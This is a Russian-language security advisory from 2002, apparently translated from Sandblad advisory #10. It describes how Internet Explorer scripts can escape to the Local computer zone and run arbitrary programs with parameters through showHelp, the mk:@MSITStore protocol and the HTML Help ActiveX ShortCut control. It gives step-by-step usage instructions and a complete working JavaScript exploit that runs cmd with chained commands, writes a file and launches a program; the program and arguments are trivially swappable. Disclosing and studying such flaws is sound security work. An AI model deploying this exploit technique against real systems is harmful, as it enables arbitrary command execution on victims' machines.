Security Lab

Как выполнять программы с параметрами в IE

Дата публикации:09.11.2002
Всего просмотров:1515
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

1. Введение

По умолчанию, все Web страницы, загружаемые через Internet, отображаются в браузере с ограничениями "Internet zone". Локальные страницы будут отображены в IE с привилегиями "Local computer zone", которые имеют намного меньше ограничений.

За последний год обнаружено несколько десятков уязвимостей, которые позволяют Web страницам или почтовым HTML сообщениям обходить существующие ограничения и получать доступ к возможностям "Local computer zone". Такие сценарии могут выполнять опасные действия, подобно:

  • Читать локальные файлы, если известен точный путь к ним и если они могут быть открыты IE.
  • Выполнять локальные программы (требуется знать точный путь к программе) БЕЗ параметров.

Sandblad опубликовал методику, в которой описывается как сценарии в "Local computer zone" могут выполнять произвольные программы с параметрами, даже не зная точного местоположения программы. Используя эту методику, атакующий может выполнять более разнообразные и опасные нападения против уязвимой системы (например, отформатировать диск).

2. Ответ Microsoft.

Microsoft был уведомлен о данной проблеме 4 октября 2002 года. Окончательный ответ был таков: методика выполнения программ с параметрами в "Local computer zone" не является уязвимостью защиты.

3. Описание

Javascript может использовать команду showHelp, чтобы выполнить одну из двух операций:

  1. Открыть локальный откомпилированный справочный файл (.chm) в отдельном winhelp окне.
  2. Открыть URL (должен начинаться с http://) в отдельном winhelp окне.

Сценарий в окне, открытый первым способом может использовать activeX управление для запуска программы с параметрами, а во втором случае не может.

После некоторого исследования, был обнаружен способ, как во втором случае иожно использовать activeX управление. Это может быть выполнено следующим образом:

  1. Сценарий в окне (2) получает доступ к "Local computer zone".
  2. Сценарий в окне (2) изменяет URL к "mk:@MSITStore:C:" или подобному.
  3. Локальный откомпилированный справочный файл, должен быть открыт в момент запуска IE. Подойдет любой справочный файл, например showHelp ("iexplore.chm").

Чтобы выполнить третье условие, до сих пор существует несколько неисправленных "cross site/zone scripting" уязвимостей. Чтобы выполнился (4) пункт, новое окно должно быть создано, используя метод (2). Пункт (5) просто использовать, так как он не влияет на winhelp окно для (2), которое открыто в отдельном окне по умолчанию.

Перед выпуском патча MS02-055, уязвимость могла эксплуатироваться намного проще. В этом случае пункты (3) и (4) могут быть опущены.

Эксплоит

Эксплоит использует непропатченную "cross site/zone scripting" уязвимость.

Также можно использовать одну из недавно обнаруженных Greymagic уязвимостей :

http://www.securitylab.ru/?ID=33805

Инструкции пользования эксплоитом:

  1. Скопируйте приведенный код в HTML файл.
  2. Положите файл на удаленный Web сервер и загрузите его в IE (URL должен начинаться с HTTP://).
  3. pСценарий откроет DOS окно и отобразит строку текста, создаст файл c:/vulnerable.txt (требуется разрешение на запись) и запустит winmine (эта превосходная игра должна существовать). Справочное окно для IE не будет закрыто.
Уязвимость была проверена на Win2000 pro, XP, IE 6.

<script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, sandblad@acc.umu.se
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
       'echo Sandblad #10 > c:/vulnerable.txt & winmine';

if (!location.hash) {
  showHelp(location+"#1");
  showHelp("iexplore.chm");
  blur();
}
else if (location.hash == "#1")
  open(location+"2").blur();
else {
  f = opener.location.assign;
  opener.location="res:";
  f("javascript:location.replace('mk:@MSITStore:C:')");
  setTimeout('run()',1000);
}
function run() {
  f("javascript:document.write('<object id=c1 classid=clsid:adb"+
   "880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
   "=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
   "object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
   "-00aa003b7a11><param name=Command value=Close></object>')");
  f("javascript:c1.Click();c2.Click();");
  close();
}
</script>

Ссылки: How to execute programs with parameters in IE - Sandblad advisory #10